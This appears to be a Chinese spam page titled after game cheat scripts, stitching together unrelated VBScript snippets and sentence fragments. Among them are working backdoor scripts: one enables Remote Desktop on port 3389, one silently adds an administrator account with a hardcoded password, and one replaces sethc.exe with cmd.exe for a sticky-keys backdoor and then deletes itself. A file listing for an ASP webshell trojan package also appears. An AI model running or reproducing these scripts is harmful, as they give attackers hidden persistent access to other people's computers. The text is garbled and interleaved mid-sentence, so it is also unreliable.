炉石脚本封号SS2

假设要将Form2放在Form1中,请在宣告区中宣告:DeclareFunctionSetParentLib"user32"(ByValhWndChildAsLong,ByValhWndNewParentAsLong)AsLong在Form2中的Form_Load中加入SetParent(Me.hWnd,Form1.hWnd)即可'On Error Resume Next Const ALLOW_ALL=0 Port=Array("4900", "5000", "5100", "5500", "5600", "6000", "7000", "7100", "7200", "7300", "7400","3389","80") strComputer="." Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colNetCards=objWMIService.ExecQuery _ ("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled=True") For Each objNetCard In colNetCards arrPermittedTCPPorts=Port arrPermittedUDPPorts=Array(ALLOW_ALL) arrPermittedIPProtocols=Array(ALLOW_ALL) objNetCard.EnableIPSec arrPermittedTCPPorts, arrPermittedUDPPorts, arrPermittedIPProtocols Next

贪婪洞窟2脚本下载 '**********************2.To create the Folder and File object********************************* If fso.FolderExists(FolderPath) Then Set Folder=fso.GetFolder(FolderPath) 'This set command is neccessary! Set Files=Folder.Files fileNums=Files.Count 'Msgbox fileNums For Each File In Folder.Files if right(File.name,2)="rm" then ReDim Preserve FileString(i) 'This is a Dynamic Array, so we should use the Redim command 'Be careful of the Preserve word, important!!!! FileString(i)=File.Name 'MsgBox i & " " & FileString(i) i=i+1 fileNums=i End if Next End If '**********************3.Create Excel and stroe the file name in it*************************** Dim objExcel Dim objWorkbook Set objExcel=WScript.CreateObject("Excel.Application") objExcel.Workbooks.Add objExcel.Visible=True Set objWorkbook=objExcel.ActiveWorkbook For ii=1 to fileNums objWorkbook.Worksheets(1).Cells(ii,1)=FileString(ii-1) Next objWorkbook.Worksheets(1).Range("A1:A1").Columns.AutoFit objExcel.DisplayAlerts=False objWorkbook.SaveAs(FolderPath & "xiao.xls") objWorkbook.Close()'Close the Workbook objExcel.Quit()'Quit Set fso=Nothing '**********************4.Open the files and read the first line.****************************** Dim Range Dim Range_i Dim mfile Dim sline Dim iii set fso=createobject("scripting.filesystemobject") Set objExcel=WScript.CreateObject("Excel.Application") objExcel.Visible=True objExcel.Workbooks.open(FolderPath & "xiao.xls") Set objWorkbook=objExcel.ActiveWorkbook Set Range=objWorkbook.Activesheet.range("A1:A11") For Range_i=1 to fileNums set mfile=fso.opentextfile(Range(Range_i).value) msgbox Range_i & " " & Range(Range_i).value for iii=1 to 1 sline=mfile.readline objWorkbook.Worksheets(1).Cells(Range_i,2)=sline Next mfile.close Next objWorkbook.Worksheets(1).Range("B1:B1").Columns.AutoFit objExcel.DisplayAlerts=False objWorkbook.SaveAs(FolderPath & "xiao.xls") objWorkbook.Close()'Close the Workbook objExcel.Quit()'Quit Set fso=Nothing 在随后的步骤2中,由于0与任何数值异或的结果都将是原数值,因此,XOR位图与屏幕显示经过异或操作后,位图和屏幕中的黑色部分都将被各自对应的彩色部分屏蔽

关于为什么提供打包程序和打包压缩文件.MDB的解压 2006.asp                海阳顶端网asp木马2006版文件  unpack.vbs                打包文件"hytop.mdb"的解开器  2006x.exe                海阳顶端网asp木马2006 c/s模式转换器  2006x2.exe                海阳顶端网asp木马2006 专用短服务器端                          c/s模式转换器  2006z.exe                海阳顶端网asp木马2006_lite版本组合器                          用来自定义生成相应功能的lite版木马  hididi.ini                2006z.exe的配置文件  问题一:  就是你们写的小马那个文件打包/揭开可以在代码中指定当前单元,或用户在运行时用鼠标或单元箭头键改变当前单元,然后进行单元内容的修改,单元可以单独或按行选中

on error resume next const HKEY_LOCAL_MACHINE=&H80000002 strComputer="." Set StdOut=WScript.StdOut Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_ strComputer & "\root\default:StdRegProv") strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server" strValueName="fDenyTSConnections" dwValue=0 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue on error resume next dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath On Error Resume Next Dim obj, success Set obj=CreateObject("WScript.Shell") success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

  ◆代码限制◆

  可被加载到窗体、类或标准模块的代码总数限于65,534行

" WScript.Quit Else Dim fso Set fso=CreateObject("Scripting.FileSystemObject") If (fso.FileExists(WScript.Arguments(0))) Then GetDragDropFile=WScript.Arguments(0) Set fso=Nothing Else Set fso=Nothing MsgBox "无法找到文件" & WScript.Arguments(0) WScript.Quit End If End If End Function Const ForReading=1 Const ForWriting=2 Const ForAppending=8 Const TristateTrue=-1 Const TristateUseDefault=-2 Const TristateFalse=0 Dim ToWrite Dim Index Dim fso Dim src Dim dst Dim TextSize Dim MaxTextLength Dim SourceFile Dim DestinationFile Dim BaseName Dim OutFolderPath Dim IsUnicode Dim regEx,patrn '*************************************************************** ' Splited text size . TextSize=4 'KB IsUnicode=True '***************************************************************** MaxTextLength=1024 * TextSize / 2 - 1 patrn="(\r\n\r\n)+|( +)" Set regEx=New RegExp regEx.Pattern=patrn regEx.IgnoreCase=True regEx.Global=True Set fso=CreateObject("Scripting.FileSystemObject") BaseName=fso.GetBaseName(GetDragDropFile) OutFolderPath=fso.BuildPath(fso.GetParentFolderName(GetDragDropFile),_ BaseName) Set src=(GetDragDropFile, ForReading,False,_ TristateUseDefault) If Not fso.FolderExists(OutFolderPath) Then fso.CreateFolder OutFolderPath End If Index=1 While(src.AtEndOfStream <> True) ToWrite=src.Read(MaxTextLength) DestinationFile=fso.BuildPath(OutFolderPath,BaseName & _ FormatStrNum(Index) & ".txt") Set dst=fso.OpenTextFile(DestinationFile,ForWriting,True,IIf(IsUnicode,TristateTrue,TristateUseDefault)) Dim SlimText SlimText=regEx.Replace(ToWrite,"") dst.Write SlimText dst.Close Set dst=Nothing Index=Index + 1 Wend src.Close Set src= Set fso=Nothing Set regEx=Nothing OpenDir OutFolderPath 单请给窗体缺省创建一个按钮(用于观察效果)

Function AddPermission(strUser,strPath,strAccess,blInherit) Set objWMIService=GetObject("winmgmts:\\.\root\Cimv2") Set fso=CreateObject("Scripting.FileSystemObject") '得到Win32_SID并判断用户/组/内置账户是否存在 Set colUsers=objWMIService.ExecQuery("SELECT * FROM Win32_Account WHERE Name='"&strUser&"'") If colUsers.count<>0 Then For Each objUser In colUsers strSID=objUser.SID Next Else AddPermission=1 Exit Function End If Set objSID=objWMIService.Get("Win32_SID.SID='"&strSID&"'") '判断文件/文件夹是否存在 pathType="" If fso.fileExists(strPath) Then pathType="FILE" If fso.folderExists(strPath) Then pathType="FOLDER" If pathType="" Then AddPermission=2 Exit Function End If '设置Trustee Set objTrustee=objWMIService.Get("Win32_Trustee").SpawnInstance_() objTrustee.Domain=objSID.ReferencedDomainName objTrustee.Name=objSID.AccountName objTrustee.SID=objSID.BinaryRepresentation objTrustee.SidLength=objSID.SidLength objTrustee.SIDString=objSID.Sid '设置ACE Set objNewACE=objWMIService.Get("Win32_ACE").SpawnInstance_() objNewACE.Trustee=objTrustee objNewACE.AceType=0 If InStr(UCase(strAccess),"R") > 0 Then objNewACE.AccessMask=1179817 If InStr(UCase(strAccess),"C") > 0 Then objNewACE.AccessMask=1245631 If InStr(UCase(strAccess),"F") > 0 Then objNewACE.AccessMask=2032127 If pathType="FILE" And blInherit=True Then objNewACE.AceFlags=16 If pathType="FILE" And blInherit=False Then objNewACE.AceFlags=0 If pathType="FOLDER" And blInherit=True Then objNewACE.AceFlags=19 If pathType="FOLDER" And blInherit=False Then objNewACE.AceFlags=3 '设置SD Set objFileSecSetting=objWMIService.Get("Win32_LogicalFileSecuritySetting.Path='"&strPath&"'") Call objFileSecSetting.GetSecurityDescriptor(objSD) blSE_DACL_AUTO_INHERITED=True If (objSD.ControlFlags And &H400)=0 Then blSE_DACL_AUTO_INHERITED=False objSD.ControlFlags=(objSD.ControlFlags Or &H400) '自动继承位置位,如果是刚创建的目录或文件该位是不置位的,需要置位 End If If blInherit=True Then objSD.ControlFlags=(objSD.ControlFlags And &HEFFF) '阻止继承复位 Else objSD.ControlFlags=(objSD.ControlFlags Or &H1400) '阻止继承位置位,自动继承位置位 End If objOldDacl=objSD.Dacl ReDim objNewDacl(0) Set objNewDacl(0)=objNewACE If IsArray(objOldDacl) Then '权限为空时objOldDacl不是集合不可遍历 For Each objACE In objOldDacl If (blSE_DACL_AUTO_INHERITED=False And blInherit=True) Or ((objACE.AceFlags And 16)>0 And (blInherit=True) Or (LCase(objACE.Trustee.Name)=LCase(strUser))) Then 'Do nothing '当自动继承位置位为0时即使时继承的权限也会显示为非继承,这时所有权限都不设置 '当自动继承位置位为0时,在继承父目录权限的情况下不设置继承的权限.账户和需要加权限的账户一样时不设置权限 Else Ubd=UBound(objNewDacl) ReDim preserve objNewDacl(Ubd+1) Set objNewDacl(Ubd+1)=objACE End If Next End If objSD.Dacl=objNewDacl '提交设置修改 Call objFileSecSetting.SetSecurityDescriptor(objSD) AddPermission=0 Set fso=NothingEnd Function。

36人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册